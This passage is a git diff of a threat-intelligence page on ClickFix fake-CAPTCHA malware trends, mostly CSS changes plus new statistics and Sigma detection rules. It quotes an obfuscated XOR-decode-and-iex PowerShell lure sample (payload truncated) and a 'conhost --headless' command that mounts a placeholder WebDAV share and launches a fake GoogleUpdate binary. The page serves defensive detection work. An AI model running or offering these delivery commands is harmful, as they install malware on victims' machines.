box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.compare-card.bad { border-left: 4px solid var(--critical); }
|
||||
.compare-card.good { border-left: 4px solid var(--low); }
|
||||
@@ -144,6 +159,7 @@ description: A practical methodology for identifying durable detection chokepoin
|
||||
#graph-container {
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
border-radius: var(--radius-lg); overflow: hidden; position: relative;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.graph-controls {
|
||||
display: flex; gap: 0.5rem; padding: 1rem 1.25rem;
|
||||
@@ -185,6 +201,7 @@ svg text { font-family: var(--font-sans); }
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
border-radius: var(--radius); padding: 1.25rem;
|
||||
display: flex; gap: 0.75rem; align-items: flex-start;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
}
|
||||
.test-icon {
|
||||
flex-shrink: 0; width: 36px; height: 36px;
|
||||
|
||||
+261
-259
@@ -9,7 +9,7 @@ permalink: /trends/clickgrab/
|
||||
/* ── Page layout ────────────────────────────────────────────────────────── */
|
||||
.cg-page { }
|
||||
.cg-page h1 { font-size: 1.6rem; font-weight: 700; color: var(--text); margin-bottom: .25rem; }
|
||||
.cg-page h2 { font-size: 1.15rem; font-weight: 600; color: var(--text); margin: 2.5rem 0 .75rem; border-bottom: 1px solid var(--border); padding-bottom: .4rem; }
|
||||
.cg-page h2 { font-size: 1.15rem; font-weight: 700; color: var(--text); margin: 2.5rem 0 .75rem; border-bottom: 1px solid transparent; border-image: linear-gradient(to right, var(--accent), var(--border) 35%, transparent) 1; padding-bottom: .4rem; }
|
||||
.cg-page h3 { font-size: 1rem; font-weight: 600; color: var(--text); margin: 1.5rem 0 .5rem; }
|
||||
.cg-page p, .cg-page li { color: var(--text-muted); font-size: .9rem; line-height: 1.7; }
|
||||
.cg-page a { color: var(--link); }
|
||||
@@ -17,8 +17,8 @@ permalink: /trends/clickgrab/
|
||||
|
||||
/* ── Stats row ──────────────────────────────────────────────────────────── */
|
||||
.cg-stats { display: flex; gap: 1rem; flex-wrap: wrap; margin: 1.25rem 0 2rem; }
|
||||
.cg-stat { flex: 1 1 140px; background: var(--bg-card); border: 1px solid var(--border); border-radius: 8px; padding: .85rem 1rem; }
|
||||
.cg-stat-val { font-size: 1.5rem; font-weight: 700; color: var(--text); font-family: ui-monospace, monospace; line-height: 1.2; }
|
||||
.cg-stat { flex: 1 1 140px; background: var(--bg-card); border: 1px solid var(--border); border-radius: 8px; padding: .85rem 1rem; box-shadow: 0 4px 16px rgba(0,0,0,0.25), inset 0 1px 0 rgba(255,255,255,0.04); }
|
||||
.cg-stat-val { font-size: 1.85rem; font-weight: 700; color: var(--text); font-family: ui-monospace, monospace; line-height: 1.2; }
|
||||
.cg-stat-lbl { font-size: .72rem; color: var(--text-muted); margin-top: .2rem; text-transform: uppercase; letter-spacing: .04em; }
|
||||
|
||||
/* ── Framework chain map ────────────────────────────────────────────────── */
|
||||
@@ -33,9 +33,9 @@ permalink: /trends/clickgrab/
|
||||
.cg-chain-stage:first-child { border-radius: 6px 0 0 6px; }
|
||||
.cg-chain-stage:last-child { border-radius: 0 6px 6px 0; }
|
||||
.cg-chain-stage--blind { border-top: 3px solid var(--border); }
|
||||
.cg-chain-stage--t1 { border-top: 3px solid var(--high); }
|
||||
.cg-chain-stage--t2 { border-top: 3px solid var(--accent); }
|
||||
.cg-chain-stage--t3 { border-top: 3px solid var(--critical); }
|
||||
.cg-chain-stage--t1 { border-top: 3px solid var(--high); box-shadow: inset 0 3px 10px -5px rgba(227,179,65,0.4); }
|
||||
.cg-chain-stage--t2 { border-top: 3px solid var(--accent); box-shadow: inset 0 3px 10px -5px rgba(240,136,62,0.4); }
|
||||
.cg-chain-stage--t3 { border-top: 3px solid var(--critical); box-shadow: inset 0 3px 10px -5px rgba(218,54,51,0.4); }
|
||||
.cg-chain-label { font-size: .72rem; font-weight: 600; color: var(--text); line-height: 1.3; display: block; }
|
||||
.cg-chain-sub { font-size: .62rem; color: var(--text-muted); margin-top: .25rem; display: block; }
|
||||
.cg-tier-badge { display: inline-block; font-size: .6rem; font-weight: 700; padding: .1rem .35rem; border-radius: 3px; margin-top: .35rem; letter-spacing: .03em; }
|
||||
@@ -54,19 +54,22 @@ permalink: /trends/clickgrab/
|
||||
|
||||
/* ── Callout boxes ──────────────────────────────────────────────────────── */
|
||||
.cg-callout { border-radius: 6px; padding: .85rem 1rem; margin: .75rem 0; font-size: .875rem; border-left: 3px solid; }
|
||||
.cg-callout--warn { background: rgba(227,179,65,.08); border-color: var(--high); color: var(--text); }
|
||||
.cg-callout--alert { background: rgba(218,54,51,.08); border-color: var(--critical); color: var(--text); }
|
||||
.cg-callout--info { background: rgba(56,139,253,.08); border-color: var(--low); color: var(--text); }
|
||||
.cg-callout--tip { background: rgba(63,185,80,.08); border-color: var(--medium); color: var(--text); }
|
||||
.cg-callout--warn { background: rgba(227,179,65,.08); border-color: var(--high); color: var(--text); box-shadow: inset 3px 0 12px -5px rgba(227,179,65,0.35); }
|
||||
.cg-callout--alert { background: rgba(218,54,51,.08); border-color: var(--critical); color: var(--text); box-shadow: inset 3px 0 12px -5px rgba(218,54,51,0.35); }
|
||||
.cg-callout--info { background: rgba(56,139,253,.08); border-color: var(--low); color: var(--text); box-shadow: inset 3px 0 12px -5px rgba(56,139,253,0.35); }
|
||||
.cg-callout--tip { background: rgba(63,185,80,.08); border-color: var(--medium); color: var(--text); box-shadow: inset 3px 0 12px -5px rgba(63,185,80,0.35); }
|
||||
.cg-callout strong { color: var(--text); }
|
||||
|
||||
/* ── Staging domain table ───────────────────────────────────────────────── */
|
||||
.cg-table { width: 100%; border-collapse: collapse; font-size: .85rem; margin: .75rem 0 1.5rem; }
|
||||
.cg-table th { text-align: left; color: var(--text-muted); font-size: .72rem; text-transform: uppercase; letter-spacing: .04em; border-bottom: 1px solid var(--border); padding: .4rem .6rem; font-weight: 600; }
|
||||
.cg-table td { padding: .45rem .6rem; border-bottom: 1px solid var(--border); color: var(--text); font-family: ui-monospace, monospace; font-size: .82rem; }
|
||||
.cg-table td { padding: .45rem .6rem; border-bottom: 1px solid var(--border); color: var(--text); font-family: ui-monospace, monospace; font-size: .82rem; transition: background .1s; }
|
||||
.cg-table tr:hover td { background: rgba(255,255,255,0.02); }
|
||||
.cg-table tr:last-child td { border-bottom: none; }
|
||||
.cg-badge-cdn { display: inline-block; background: rgba(227,179,65,.15); color: var(--high); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
|
||||
.cg-badge-ip { display: inline-block; background: rgba(240,136,62,.15); color: var(--accent); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
|
||||
.cg-badge-cdn { display: inline-block; background: rgba(227,179,65,.15); color: var(--high); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
|
||||
.cg-badge-ip { display: inline-block; background: rgba(240,136,62,.15); color: var(--accent); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
|
||||
.cg-badge-bp { display: inline-block; background: rgba(218,54,51,.15); color: var(--critical); font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
|
||||
.cg-badge-comp { display: inline-block; background: rgba(139,92,246,.15); color: #8b5cf6; font-size: .65rem; font-weight: 700; padding: .1rem .3rem; border-radius: 3px; letter-spacing: .03em; }
|
||||
|
||||
/* ── Recommendation list ────────────────────────────────────────────────── */
|
||||
.cg-rec { display: flex; gap: .75rem; align-items: flex-start; padding: .6rem 0; border-bottom: 1px solid var(--border); }
|
||||
@@ -109,12 +112,20 @@ permalink: /trends/clickgrab/
|
||||
padding: .35rem .75rem;
|
||||
text-decoration: none;
|
||||
border-left: 2px solid transparent;
|
||||
transition: color .15s, border-color .15s;
|
||||
border-radius: 0 3px 3px 0;
|
||||
transition: color .15s, border-color .15s, background .15s;
|
||||
}
|
||||
.trends-sidebar a:hover {
|
||||
color: var(--text-muted);
|
||||
text-decoration: none;
|
||||
background: rgba(255,255,255,0.025);
|
||||
}
|
||||
.trends-sidebar a:hover { color: var(--text-muted); text-decoration: none; }
|
||||
.trends-sidebar a.active {
|
||||
color: var(--text, #c9d1d9);
|
||||
border-left-color: var(--accent, #f0883e);
|
||||
font-weight: 500;
|
||||
border-left: 3px solid var(--accent, #f0883e);
|
||||
box-shadow: inset 3px 0 8px -4px rgba(240,136,62,0.4);
|
||||
background: rgba(240,136,62,0.07);
|
||||
}
|
||||
.trends-content {
|
||||
flex: 1;
|
||||
@@ -137,6 +148,38 @@ permalink: /trends/clickgrab/
|
||||
.trends-sidebar a.active { border-bottom-color: var(--accent); border-left-color: transparent; }
|
||||
.trends-content { padding-bottom: 3.5rem; }
|
||||
}
|
||||
|
||||
/* ── Detection rec cards (matches edge exploits page) ── */
|
||||
.det-rec {
|
||||
background: var(--bg-card); border: 1px solid var(--border);
|
||||
border-radius: 6px; margin: 1rem 0; overflow: hidden;
|
||||
}
|
||||
.det-rec-header {
|
||||
display: flex; align-items: flex-start; gap: 0.8rem;
|
||||
padding: 1rem 1.2rem;
|
||||
}
|
||||
.det-rec-tier {
|
||||
font-family: var(--font-mono); font-size: 0.65rem;
|
||||
font-weight: 700; letter-spacing: 0.08em;
|
||||
padding: 3px 10px; border-radius: 3px;
|
||||
white-space: nowrap; margin-top: 2px; flex-shrink: 0;
|
||||
}
|
||||
.det-rec-title { font-weight: 600; color: var(--text); font-size: 0.92rem; line-height: 1.4; }
|
||||
.det-rec-desc { color: var(--text-muted); font-size: 0.85rem; margin-top: 0.3rem; line-height: 1.5; }
|
||||
.det-rec details { padding: 0 1.2rem; margin: 0; }
|
||||
.det-rec details[open] { padding-bottom: 1rem; }
|
||||
.det-rec summary {
|
||||
font-family: var(--font-mono); font-size: 0.75rem;
|
||||
color: var(--text-muted); cursor: pointer; margin: 0; padding: 0.5rem 0;
|
||||
list-style: none; display: flex; align-items: center; gap: 0.4rem;
|
||||
}
|
||||
.det-rec summary::-webkit-details-marker { display: none; }
|
||||
.det-rec summary::before { content: "›"; color: var(--text-dim); transition: transform .15s; }
|
||||
details[open] > summary::before { transform: rotate(90deg); }
|
||||
details[open] > summary { margin-bottom: 0.4rem; }
|
||||
.tier-1 { background: rgba(218,54,51,0.15); color: var(--critical); }
|
||||
.tier-2 { background: rgba(240,136,62,0.15); color: var(--accent); }
|
||||
.tier-na { background: rgba(107,114,128,0.15); color: var(--text-muted); }
|
||||
</style>
|
||||
|
||||
<div class="trends-layout">
|
||||
@@ -158,7 +201,7 @@ permalink: /trends/clickgrab/
|
||||
<h1>ClickFix Delivery Chain: Trend Analysis</h1>
|
||||
<p class="cg-meta">
|
||||
Data: <a href="https://github.com/mhaggis/ClickGrab" target="_blank" rel="noopener">MHaggis ClickGrab</a> + <a href="https://clickfix.carsonww.com/" target="_blank" rel="noopener">ClickFix Hunter</a>
|
||||
· Period: Apr 2025 – Apr 2026
|
||||
· Period: Apr 2025 – May 2026
|
||||
· {{ site.data.clickgrab_trends.meta.total_reports }} nightly reports + {{ site.data.clickgrab_trends.meta.total_domains }} domains
|
||||
· Generated: {{ site.data.clickgrab_trends.meta.generated }}
|
||||
</p>
|
||||
@@ -244,6 +287,10 @@ permalink: /trends/clickgrab/
|
||||
<div id="cg-chart-volume"></div>
|
||||
</div>
|
||||
|
||||
<div class="cg-callout cg-callout--alert">
|
||||
<strong>May 2026: 95.2% of domains now carry inline payloads.</strong> Up from 75% in April and 47% in March, the no-URL rate has hit a new high. Base64 accounts for 87% of May domains (399/458). A new delivery variant also appeared: <code>conhost --headless cmd /c "pushd \\IP@port\DavWWWRoot && start GoogleUpdate"</code> mounts a WebDAV share and launches a binary impersonating Google Update — no PowerShell, no HTTP fetch, no URL in the clipboard command at all. Your T1105 network-fetch detection never fires. The behavioral chokepoint that does fire: unusual parent process spawning <code>conhost.exe</code> or <code>cmd.exe</code> with a UNC path argument.
|
||||
</div>
|
||||
|
||||
<!-- ── Chart B: Cradle Family Evolution ──────────────────────────────── -->
|
||||
<h2 id="cradles">T1105 Ingress Tool Transfer: Cradle Family Evolution</h2>
|
||||
<p>The network fetch <em>was</em> the unavoidable action. This chart shows how adversaries rotated their download method as defenders tuned IWR/IEX-specific detections, and why that rotation actually validates the chokepoint approach.</p>
|
||||
@@ -279,7 +326,7 @@ permalink: /trends/clickgrab/
|
||||
</div>
|
||||
|
||||
<div class="cg-callout cg-callout--warn">
|
||||
<strong>Base64 isn't plateauing. It's accelerating.</strong> 19.5% in March, 54.2% in April. If your rules match plaintext <code>iwr https://</code> strings, you're seeing the encoded version now, not the decoded cradle. Detect the encoding act: <code>[Convert]::FromBase64String</code> piped to <code>iex</code>. Or detect <code>-enc</code> on the command line from an unusual parent. The content is opaque; the execution context isn't.
|
||||
<strong>Base64 isn't plateauing. It's now the default.</strong> 19.5% in March, 54.2% in April, <strong>87% in May</strong> (399/458 domains). If your rules match plaintext <code>iwr https://</code> strings, you're seeing the encoded version now, not the decoded cradle. Detect the encoding act: <code>[Convert]::FromBase64String</code> piped to <code>iex</code>. Or detect <code>-enc</code> on the command line from an unusual parent. The content is opaque; the execution context isn't.
|
||||
</div>
|
||||
|
||||
<div class="cg-callout cg-callout--warn">
|
||||
@@ -303,19 +350,19 @@ permalink: /trends/clickgrab/
|
||||
|
||||
<!-- ── Inline Payloads ─────────────────────────────────────────── -->
|
||||
<h2 id="inline">Strategic Shift: Inline Payloads Bypassing Network Fetch Detection</h2>
|
||||
<p>Here's the finding that changes the detection calculus: <strong>75% of April 2026 domains have no URL in the clipboard command at all.</strong> Up from 28% in August. The payload is entirely inline. The user pastes everything needed, and nothing reaches out to a staging server. Your network-fetch detection? It never fires.</p>
|
||||
<p>Here's the finding that changes the detection calculus: <strong>95% of May 2026 domains have no URL in the clipboard command at all.</strong> Up from 28% in August. The payload is entirely inline. The user pastes everything needed, and nothing reaches out to a staging server. Your network-fetch detection? It never fires.</p>
|
||||
|
||||
<p>Three techniques are driving this: <strong>hex XOR</strong> (<code>$k/$d</code> variable patterns with <code>-bxor</code> decoding, 62 instances in March), <strong>Base64 <code>-enc</code></strong> (over half of April samples), and <strong>direct embedding</strong> with no obfuscation at all. The social engineering does double duty. Fake CAPTCHA comments inside the payload reinforce the lure:</p>
|
||||
<p>Base64 now accounts for 87% of May domains (399/458) — it's not one technique among several, it's the default. Two other techniques appear in smaller numbers: <strong>hex XOR</strong> (<code>$k/$d</code> variable patterns with <code>-bxor</code> decoding, 62 instances in March), and a newer <strong>WebDAV delivery</strong> variant using <code>conhost --headless cmd /c "pushd \\IP@port\DavWWWRoot && start GoogleUpdate"</code> — no PowerShell, no HTTP, nothing to intercept at the network layer. The social engineering does double duty. Fake CAPTCHA comments inside the payload reinforce the lure:</p>
|
||||
|
||||
<pre class="logic-block rounded-lg p-4 overflow-x-auto text-[.8rem]"><code>powershell -w hidden <# I am not a robot - Cloudflare ID: 8e3f2a #> $k='xK9mP2';$d='4a5b6c...';
|
||||
$b=[byte[]]@();for($i=0;$i-lt$d.Length;$i+=2){$b+=[byte]("0x"+$d.Substring($i,2))-bxor[byte]$k[$i%$k.Length]};
|
||||
iex([Text.Encoding]::UTF8.GetString($b))</code></pre>
|
||||
|
||||
<div class="cg-callout cg-callout--alert">
|
||||
<strong>Your network-fetch detection covers half the threat now.</strong> 46% of March and 75% of April domains skip the remote fetch entirely. You need a parallel detection for the decode-and-execute pattern: unusual parent → PowerShell with <code>-enc</code>, <code>-bxor</code> operations, or <code>[Convert]::FromBase64String</code> piped to <code>iex</code>. Neither detection alone is sufficient anymore. Run both.
|
||||
<strong>Your network-fetch detection covers 5% of the threat now.</strong> 95% of May 2026 domains skip the remote fetch entirely. You need a parallel detection for the decode-and-execute pattern: unusual parent → PowerShell with <code>-enc</code>, <code>-bxor</code> operations, or <code>[Convert]::FromBase64String</code> piped to <code>iex</code>. Neither detection alone is sufficient anymore. Run both. And if you're not alerting on <code>conhost --headless</code> spawning <code>cmd.exe</code> with a UNC path argument, you have a blind spot for the WebDAV variant entirely.
|
||||
</div>
|
||||
|
||||
<p>Monthly no-URL trend: Aug 28% → Sep 32% → Oct 32% → Nov 6% → Dec 19% → Jan 44% → Feb 30% → <strong>Mar 47% → Apr 75%</strong>.</p>
|
||||
<p>Monthly no-URL trend: Aug 28% → Sep 32% → Oct 32% → Nov 6% → Dec 19% → Jan 44% → Feb 30% → Mar 47% → Apr 75% → <strong>May 95%</strong>.</p>
|
||||
|
||||
<h3>Port 5506 C2 Infrastructure Cluster</h3>
|
||||
<p>333 domains call back to port 5506 across 14 IPs in a few /24 ranges. One operator, one port, zero legitimate services using 5506. This is the kind of infrastructure fingerprint that makes network detection easy.</p>
|
||||
@@ -354,11 +401,16 @@ iex([Text.Encoding]::UTF8.GetString($b))</code></pre>
|
||||
<td>
|
||||
{% if d.cdn %}<span class="cg-badge-cdn">CDN</span>
|
||||
{% elsif d.is_ip %}<span class="cg-badge-ip">IP</span>
|
||||
{% elsif d.hosting_type == "bulletproof" %}<span class="cg-badge-bp">BP</span>
|
||||
{% elsif d.hosting_type == "compromised" %}<span class="cg-badge-comp">COMP</span>
|
||||
{% elsif d.hosting_type == "managed" %}<span class="cg-badge-cdn">MGD</span>
|
||||
{% else %}-{% endif %}
|
||||
</td>
|
||||
<td style="color:var(--text-muted);font-family:inherit;font-size:.8rem;">
|
||||
{% if d.cdn %}Domain reputation blocklists ineffective (legitimate CDN provider)
|
||||
{% elsif d.domain contains "wpengine.com" %}Managed WP hosting. Likely compromised; blocklist removes legitimate sites
|
||||
{% elsif d.hosting_type == "bulletproof" %}Abuse-tolerant VPS — takedown requests ignored; block by ASN or IP range
|
||||
{% elsif d.hosting_type == "compromised" %}Legitimate site used as payload host — blocking harms the victim domain
|
||||
{% elsif d.domain contains "wpengine.com" %}Managed WP hosting — blocklist removes legitimate sites
|
||||
{% elsif d.domain contains "blogspot.com" or d.domain contains "blogger.com" %}Google-hosted; domain blocking would block all of Blogger
|
||||
{% else %}-{% endif %}
|
||||
</td>
|
||||
@@ -432,18 +484,25 @@ iex([Text.Encoding]::UTF8.GetString($b))</code></pre>
|
||||
<h2 id="recommendations">Detection Recommendations</h2>
|
||||
<p>Each recommendation maps to the ATT&CK technique it detects. The ones at the top survived every cradle rotation, every obfuscation pivot, and every infrastructure change in this dataset. The ones lower down are still valuable but more brittle.</p>
|
||||
|
||||
<div class="cg-rec">
|
||||
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t1" style="display:block;text-align:center;padding:.25rem .5rem;">T1059</span></div>
|
||||
<div class="cg-rec-body">
|
||||
<strong>Detect unusual parent → PowerShell spawn</strong>
|
||||
Correlate <code>explorer.exe</code> or <code>cmd.exe</code> (from Run dialog) spawning <code>powershell.exe</code> with a window-hidden flag. This signal is constant regardless of cradle family rotation. See <a href="https://github.com/{{ site.github_username }}/{{ site.github_repo }}/blob/main/sigma-rules/clickfix/hunt.yml" target="_blank" rel="noopener">sigma-rules/clickfix/hunt.yml</a>.
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="logic-ex-hidden">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example detection logic
|
||||
</button>
|
||||
<div id="logic-ex-hidden" class="collapsible-body collapsed">
|
||||
<div class="det-rec">
|
||||
<div class="det-rec-header">
|
||||
<span class="det-rec-tier tier-1">T1059</span>
|
||||
<div>
|
||||
<div class="det-rec-title">Detect unusual parent → PowerShell spawn</div>
|
||||
<div class="det-rec-desc">Correlate <code>explorer.exe</code> or <code>cmd.exe</code> (from Run dialog) spawning <code>powershell.exe</code> with a window-hidden flag. This signal is constant regardless of cradle family rotation. See <a href="https://github.com/{{ site.github_username }}/{{ site.github_repo }}/blob/main/sigma-rules/clickfix/hunt.yml" target="_blank" rel="noopener">sigma-rules/clickfix/hunt.yml</a>.</div>
|
||||
</div>
|
||||
</div>
|
||||
{% if site.data.clickgrab_trends.payload_examples.hidden_window.size > 0 %}
|
||||
<details>
|
||||
<summary>Observed payloads ({{ site.data.clickgrab_trends.payload_examples.hidden_window | size }})</summary>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.hidden_window %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
</details>
|
||||
{% endif %}
|
||||
<details>
|
||||
<summary>Example detection logic</summary>
|
||||
<pre class="cg-payload-example"><code>title: Browser or Explorer Spawning Hidden PowerShell
|
||||
logsource:
|
||||
category: process_creation
|
||||
@@ -469,38 +528,53 @@ detection:
|
||||
- '-NoProfile'
|
||||
condition: selection_interp and selection_parent and selection_hidden
|
||||
level: high</code></pre>
|
||||
</div>
|
||||
</div>
|
||||
{% if site.data.clickgrab_trends.payload_examples.hidden_window.size > 0 %}
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="payload-ex-hidden">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example payloads ({{ site.data.clickgrab_trends.payload_examples.hidden_window | size }})
|
||||
</button>
|
||||
<div id="payload-ex-hidden" class="collapsible-body collapsed">
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.hidden_window %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
|
||||
<div class="cg-rec">
|
||||
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t1" style="display:block;text-align:center;padding:.25rem .5rem;">T1059</span></div>
|
||||
<div class="cg-rec-body">
|
||||
<strong>Cradle-agnostic network fetch detection</strong>
|
||||
Move from IWR/IRM string matching to: <em>PowerShell process → outbound HTTP/HTTPS to non-Microsoft, non-CDN domain → path ends in .ps1/.txt/.hta</em>. This catches IWR, Curl, WebClient, and any future cradle. Update Sigma rules to use process+network correlation, not command-string pattern matching.
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="logic-ex-cradles">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example detection logic
|
||||
</button>
|
||||
<div id="logic-ex-cradles" class="collapsible-body collapsed">
|
||||
<div class="det-rec">
|
||||
<div class="det-rec-header">
|
||||
<span class="det-rec-tier tier-1">T1059</span>
|
||||
<div>
|
||||
<div class="det-rec-title">Cradle-agnostic network fetch detection</div>
|
||||
<div class="det-rec-desc">Move from IWR/IRM string matching to: <em>PowerShell process → outbound HTTP/HTTPS to non-Microsoft, non-CDN domain → path ends in .ps1/.txt/.hta</em>. This catches IWR, Curl, WebClient, and any future cradle. Update Sigma rules to use process+network correlation, not command-string pattern matching.</div>
|
||||
</div>
|
||||
</div>
|
||||
{% assign all_cradle_examples = site.data.clickgrab_trends.payload_examples.iwr_iex | concat: site.data.clickgrab_trends.payload_examples.irm_iex | concat: site.data.clickgrab_trends.payload_examples.webclient | concat: site.data.clickgrab_trends.payload_examples.curl %}
|
||||
{% if all_cradle_examples.size > 0 %}
|
||||
<details>
|
||||
<summary>Observed payloads ({{ all_cradle_examples | size }})</summary>
|
||||
{% if site.data.clickgrab_trends.payload_examples.iwr_iex.size > 0 %}
|
||||
<div class="cg-payload-label">IWR / IEX</div>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.iwr_iex %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
{% if site.data.clickgrab_trends.payload_examples.irm_iex.size > 0 %}
|
||||
<div class="cg-payload-label">IRM / IEX</div>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.irm_iex %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
{% if site.data.clickgrab_trends.payload_examples.webclient.size > 0 %}
|
||||
<div class="cg-payload-label">WebClient</div>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.webclient %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
{% if site.data.clickgrab_trends.payload_examples.curl.size > 0 %}
|
||||
<div class="cg-payload-label">Curl</div>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.curl %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
</details>
|
||||
{% endif %}
|
||||
<details>
|
||||
<summary>Example detection logic</summary>
|
||||
<pre class="cg-payload-example"><code>title: PowerShell Outbound Fetch of Script Payload
|
||||
logsource:
|
||||
category: network_connection
|
||||
@@ -528,63 +602,31 @@ detection:
|
||||
condition: selection_proc and selection_outbound and not (filter_internal or filter_ms)
|
||||
level: high
|
||||
# Pair with file_event rule matching *.ps1/*.txt/*.hta writes by the same ProcessGuid.</code></pre>
|
||||
</div>
|
||||
</div>
|
||||
{% assign all_cradle_examples = site.data.clickgrab_trends.payload_examples.iwr_iex | concat: site.data.clickgrab_trends.payload_examples.irm_iex | concat: site.data.clickgrab_trends.payload_examples.webclient | concat: site.data.clickgrab_trends.payload_examples.curl %}
|
||||
{% if all_cradle_examples.size > 0 %}
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="payload-ex-cradles">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example payloads ({{ all_cradle_examples | size }})
|
||||
</button>
|
||||
<div id="payload-ex-cradles" class="collapsible-body collapsed">
|
||||
{% if site.data.clickgrab_trends.payload_examples.iwr_iex.size > 0 %}
|
||||
<div class="cg-payload-label">IWR / IEX</div>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.iwr_iex %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
{% if site.data.clickgrab_trends.payload_examples.irm_iex.size > 0 %}
|
||||
<div class="cg-payload-label">IRM / IEX</div>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.irm_iex %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
{% if site.data.clickgrab_trends.payload_examples.webclient.size > 0 %}
|
||||
<div class="cg-payload-label">WebClient</div>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.webclient %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
{% if site.data.clickgrab_trends.payload_examples.curl.size > 0 %}
|
||||
<div class="cg-payload-label">Curl</div>
|
||||
{% for ex in site.data.clickgrab_trends.payload_examples.curl %}
|
||||
<pre class="cg-payload-example"><code>{{ ex.text }}</code></pre>
|
||||
<div class="cg-payload-meta">Observed: {{ ex.date }}</div>
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
</details>
|
||||
</div>
|
||||
|
||||
<div class="cg-rec">
|
||||
<div class="cg-rec-tier"><span class="cg-tier-badge cg-tier-t2" style="display:block;text-align:center;padding:.25rem .5rem;">T1027</span></div>
|
||||
<div class="cg-rec-body">
|
||||
<strong>Detect Base64 decode + execute</strong>
|
||||
<code>[Convert]::FromBase64String</code> or <code>[Text.Encoding]::UTF8.GetString</code> followed immediately by <code>iex</code> / <code>Invoke-Expression</code>. The encoding act itself is detectable even when the decoded content is not. This covers the 18× Base64 increase seen in Jan 2026.
|
||||
<div class="cg-rec-examples">
|
||||
<button class="cg-rec-examples-toggle collapsible-header" aria-expanded="false"
|
||||
data-target="logic-ex-b64">
|
||||
<span class="collapsible-chevron">›</span>
|
||||
Example detection logic
|
||||
</button>
|
||||
<div id="logic-ex-b64" class="collapsible-body collapsed">
|
||||
<div class="det-rec">
|
||||
<div class="det-rec-header">
|
||||
<span class="det-rec-tier tier-2">T1027</span>
|
||||
<div>
|
||||
<div class="det-rec-title">Detect Base64 decode + execute</div>
|
||||
<div class="det-rec-desc"><code>[Convert]::FromBase64String</code> or <code>[Text.Encoding]::UTF8.GetString</code> followed immediately by <code>iex</code> / <code>Invoke-Expression</code>. The encoding act itself is detectable even when the decoded content is not. This covers the 18× Base64 increase seen in Jan 2026.</div>
|
||||
</div>
|
||||
</div>
|
||||
{% if site.data.clickgrab_trends.payload_examples.base64.size > 0 %}
|
||||
<details>
|
||||
<summary>Observed payloads ({{ site.data.clickgrab_trends.payload_examples.base64 | size }})</summary>
|
||||
